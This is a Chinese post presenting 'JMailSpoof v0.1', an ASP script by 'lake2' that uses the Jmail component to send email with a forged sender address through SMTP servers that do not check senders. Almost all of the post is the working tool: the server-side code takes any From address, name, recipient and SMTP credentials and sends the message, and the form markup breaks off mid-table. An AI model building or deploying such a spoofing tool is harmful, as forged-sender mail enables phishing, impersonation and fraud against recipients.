伪造发件人之邮件地址之实现

写了一个利用Jmail组件发匿名邮件的ASP代码，前提是你的SMTP服务器没有验证发件人地址才是，很多虚拟主机的SMTP服务器就可以的。

代码如下：

 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   <%if request("action")="send" then%> <% Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer strSubject = Request("title") strContent = Request("content") strSender = Request("Name") strEmail = Request("to") strMailAddress = Request("smtp") strMailUser = Request("usr") strMailPass = Request("pwd")   Set JMail = Server.CreateObject("JMail.Message") JMail.Charset = "gb2312" JMail.From = Request("From") JMail.FromName = strSender JMail.Subject =strSubject JMail.MailServerUserName = strMailUser JMail.MailServerPassword = strMailPass JMail.Priority = 3 JMail.AddRecipient(strEmail) JMail.Body = strContent JMail.Send(strMailAddress) %> <Script> alert(没报错就可能成功啦！); </Script> <% else %> <style type="text/css"> <!-- body { margin-top: 0px;margin-bottom: 0px;}td { font-size: 12px; text-decoration: none;}--></style> <title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666"> <tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr> <tr><td><table width="100%" height="392" border="0" align="center" cellpadding="1" cellspacing="1">